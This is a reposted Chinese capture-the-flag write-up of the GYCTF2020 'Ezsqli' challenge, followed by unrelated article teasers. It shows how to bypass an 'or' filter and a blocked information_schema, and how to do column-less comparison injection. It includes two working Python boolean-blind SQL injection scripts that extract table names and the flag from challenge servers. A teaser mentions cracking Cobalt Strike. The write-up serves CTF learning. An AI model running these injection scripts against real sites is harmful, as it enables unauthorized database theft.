[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入

news2024/9/30 19:49:27

https://www.cnblogs.com/h0cksr/p/16189749.html

https://www.gem-love.com/ctf/1782.html

说好的ez....

我们开始吧

首先就直接进行抓包 看回显

 然后开始正常的测试

报错了 这里的

or过滤的绕过

我们可以使用 ^ 或者 || 我喜欢用 ||

所以继续构造

发现了 就是目前这种 然后我们可以开始

我们通过fuzz 发现 很多都被禁用了

所以我们还是选择盲注吧

正常测一下

确定了 可以使用盲注

那我们开始写了

但是我们通过fuzz 发现 information_schema 也被过滤了 其实主要是 or被过滤

information_schema绕过

所以我们需要使用其他的表来爆破

这里给出几个替换的

sys.schema_table_statistics_with_buffer

sys.x$schema_flattened_keys

这两个都可以查出来

import time

import requests

base_url=r"http://238ed74f-cd44-42cb-9714-fd94acddc480.node4.buuoj.cn:81/"
data=''
#下面的payload需要使用 > 号 而不是 =
payload="""2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{}"""
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        payload1=payload.format(i,mid)
        data1={
            'id':payload1
        }
        r = requests.post(url=base_url,data=data1)
        if "Nu1L" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 132):
        break
    data+=chr(mid)
    print(data)

f1ag_1s_h3r3_hhhhh,users233333333333333

得到了表名

无列名注入

这里因为我们无法通过 这个表获取flag的列名

并且这里过滤了 union 所以我们无法使用
 

select 1,2,3 union select * from 表

这种无列名注入

所以我们现在需要学习另一个

通过ascii位移来获得flag

我们开始在本地尝试

select (select "a")  > (select "abcdef")

0



select (select "b")  > (select "abcdef")

1

这里能发现 是通过比对 首个字符的ascii 如果相同 就输出 0 不同就输出 1

这里真的很巧妙

我们继续来实验一下

这里其实比对的是

前一个 ascii  和 后一个ascii 值的大小


如果前一个比较大 那么就输出0

但是反过来 如果 后面比较大 我们就输出1        

其次 第一个一样 我们就比对下一个

select (select "ac") > (select "abcdef")1

select (select "aa") > (select "abcdef")

0

所以我们可以通过这个方式来查询

首先通过 select 1,2,3 查询字段数

说明字段数量为2

然后我们就可以通过循环开始查询了

我这里演示一下

我们知道 flag 是f开头

如果我输入g呢 返回 1(Nu1L)

 如果输入的是e

返回了 V&N

所以我们只要读取到了 Nu1L 然后通过 减去一位 我们就可以获得上一个的字符

然后加入 就可以获取下一个了

这里还有一个要注意的 就是 我们注入的地方在字段2 是flag在的地方

1 可能是 id什么的

我们开始写脚本吧

import time

import  requests

baseurl="http://17d5864a-27fc-4fc7-be88-e639f3f55898.node4.buuoj.cn:81/index.php"


def add(flag):
    res=''
    res+=flag
    return res
flag=''
for i in range(1,200):
    for char in range(32,127):
        datachar = add(flag+chr(char)) #增加下一个比对的字符串
        payload='2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(datachar)
        data = {
            'id':payload
        }
        req=requests.post(url=baseurl,data=data)
        if "Nu1L" in req.text:
            flag += chr(char-1)
            print(flag)
            break
        if req.status_code == 429:
            time.sleep(0.5)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1072409.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JavaScript——数据类型、类型转换

数据类型 计算机世界中的万事万物都是数据。 计算机程序可以处理大量的数据&#xff0c;为什么要给数据分类? 更加充分和高效的利用内存也更加方便程序员的使用数据 基本数据类型 number 数字型 JavaScript中正数、负数、小数等统一称为number JS是弱数据类型&#xff0…

基于SpringBoot的篮球论坛系统

基于SpringBoot的篮球论坛系统~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootMyBatisVue工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 前台界面 登录界面 管理员界面 摘要 基于Spring Boot的篮球论坛系统代表了一个现代社交网络应…

iPhone序列号查询的4个常用方法,赶快get起来!

苹果手机序列号是每台设备的唯一标识符。就像每个人都拥有自己的身份证一样&#xff0c;序列号则是每台苹果手机的身份证明。 通过查询iPhone序列号&#xff0c;我们可以得知手机的产地、生产日期&#xff0c;以及机型等信息&#xff0c;还可以查验手机是否被激活&#xff0c;…

基于Stable Diffusion的图像合成数据集

当前从文本输入生成合成图像的模型不仅能够生成非常逼真的照片&#xff0c;而且还能够处理大量不同的对象。 在论文“评估使用稳定扩散生成的合成图像数据集”中&#xff0c;我们使用“稳定扩散”模型来研究哪些对象和类型表现得如此逼真&#xff0c;以便后续图像分类正确地分配…

华为OD七日集训第7期 - 按算法分类,由易到难,循序渐进,玩转OD

目录 一、适合人群二、本期训练时间三、如何参加四、7日集训第7期五、精心挑选21道高频100分经典题目&#xff0c;作为入门。第1天、逻辑分析第2天、字符串处理第3天、数据结构第4天、递归回溯第5天、二分查找第6天、深度优先搜索dfs算法第7天、动态规划 六、集训总结 大家好&a…

Qt QPen

文章目录 Qt::PenJoinStyleQt::PenCapStyleQt::PenStyleQPen Qt::PenJoinStyle 内容值说明Qt::MiterJoin0x00这些线的外边缘将延伸&#xff0c;以一定角度相交&#xff0c;并填充此区域。Qt::BevelJoin0x40两条线之间的三角形缺口被填满。Qt::RoundJoin0x80两条直线之间的圆弧…

Excel 快速分析

文章目录 格式化 快捷键: Ctrl Q 先选中数据, 再按快捷键或快速分析按钮. 格式化 查看规则: 前提是先在表中添加某种规则, 再全选该表, 这样在查看规则时才会显示出这个规则.

MT03A 毫欧与电机测试仪(EP130)

【MT03A 毫欧与电机测试仪&#xff08;EP130&#xff09;】 虹科的 MT03A 毫欧与电机测试仪是一款革命性的设备&#xff0c;改变了低电阻测试的方法。MT03A 可在一分钟内对三相电机上的所有绕组进行电阻测试&#xff0c;生成高精度的结果&#xff1b;附随的传感器探头可自动补偿…

卖货小程序商城的作用是什么?

只要线上需要卖产品/服务、运营会员、营销等&#xff0c;就可以运用商城实现。随着电商发展日加迅速&#xff0c;很多传统线下经营的商家&#xff0c;无论单店/多门店商家还是厂家等&#xff0c;都希望通过线上发展解决获客引流、经营卖货、提升复购转化率、会员运营及赋能线下…

hdc_std安装配置以及常用命令

前言&#xff1a;&#xff08;时间紧迫就别看前言了&#xff09;hdc_std是OpenHarmony 的命令行工具。因为我们的鸿蒙系统没有应用商店、没有浏览器、不能外接usb设备以及打不开文件资源管理器&#xff0c;所以接触了hdc_std。 环境&#xff1a;Windows10电脑 工具&…

WPF中DataContext的绑定技巧

先看效果&#xff1a; 上面的绑定值都是我们自定义的属性&#xff0c;有了以上的提示&#xff0c;那么我们可以轻松绑定字段&#xff0c;再也不用担心错误了。附带源码。 目录 1.建立mvvm项目 2.cs后台使用DataContext绑定 3.xaml前台使用DataContext绑定 4.xaml前台使用Da…

红队专题-Cobalt strike4.5二次开发

红队专题 招募六边形战士队员原版CS反编译破解jar包反编译拔掉暗桩初始环境效果 招募六边形战士队员 一起学习 代码审计、安全开发、web攻防、逆向等。。。 私信联系 原版CS反编译破解 jar包反编译 CobaltStrike二次开发环境初探CobaltStrike 4.5原版 2022年5月1日 发布 破…

C++对象模型(2)-- 进程内存空间布局

在前面Base类的对象模型中&#xff0c;有base对象实例&#xff0c;虚函数表&#xff0c;静态变量和函数等&#xff0c;这些信息在内存中都有各自的保存位置。了解进程的内存空间布局&#xff0c;比如内存空间分成几大块&#xff0c;各种不同的数据分别保存在内存空间的哪个位置…

婚庆行业通过微信小程序开发可以实现什么功能

婚庆微信小程序是一种针对结婚人群提供一站式婚礼服务的移动应用&#xff0c;包括婚礼策划、酒店预订、婚车租赁、婚纱摄影、婚礼用品等多个方面。随着互联网技术的发展和移动设备的普及&#xff0c;婚庆微信小程序已经成为越来越多新人选择婚礼服务的重要渠道。那么&#xff0…

动态规划-杨辉三角(leetcode)

1. 题目 给定一个非负整数 numRows&#xff0c;生成「杨辉三角」的前 numRows 行。 在「杨辉三角」中&#xff0c;每个数是它左上方和右上方的数的和。 示例 1: 输入: numRows 5 输出: [[1],[1,1],[1,2,1],[1,3,3,1],[1,4,6,4,1]] 示例 2: 输入: numRows 1 输出: [[1]] …

airflow的使用

安装&#xff1a; pip install airflow 初始化数据库 airflow db init 添加用户 airflow users create \ --username admin \ --firstname admin \ --lastname admin \ --role Admin \ --email adminadmin.com 运行airflow&#xff0c;只需要这一个命令即可。 airflow sta…

修炼k8s+flink+hdfs+dlink(三:安装dlink)

一&#xff1a;mysql初始化。 mysql -uroot -p123456 create database dinky; grant all privileges on dinky.* to dinky% identified by dinky with grant option; flush privileges;二&#xff1a;上传dinky。 上传至目录/opt/app/dlink tar -zxvf dlink-release-0.7.4.t…

美团面试:Redis怎么做高可用、高并发架构?

说在前面 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;最近有小伙伴拿到了一线互联网企业如阿里、滴滴、极兔、有赞、希音、百度、网易、美团的面试资格&#xff0c;遇到很多很重要的面试题&#xff1a; 如果使用 Redis 的场景很简单&#xff0c;只使用单机版 Redis 会…

探索未来绘画:AI 的视觉创造力 | 开源专题 No.30

这一系列开源项目代表了开源社区在图像处理和创造性媒体生成方面的突出成就。它们的共同特点在于&#xff0c;它们都致力于提供出色的用户体验&#xff0c;让用户能够轻松实现复杂的图像处理和生成任务。这些项目坚守着开放源代码的理念&#xff0c;通过活跃的社区支持和高度灵…

docker compose的安装和使用

docker-copose 介绍 docker-compose 是一个容器编排工具&#xff08;自动化部署、管理&#xff09;; 它用来在单台 Linux 服务器上运行多个 Docker 容器; docker-compose 使用YAML文件来配置所有需要运行的 Docker 容器&#xff0c;该 YAML 文件的默认名称为 docker-compose.…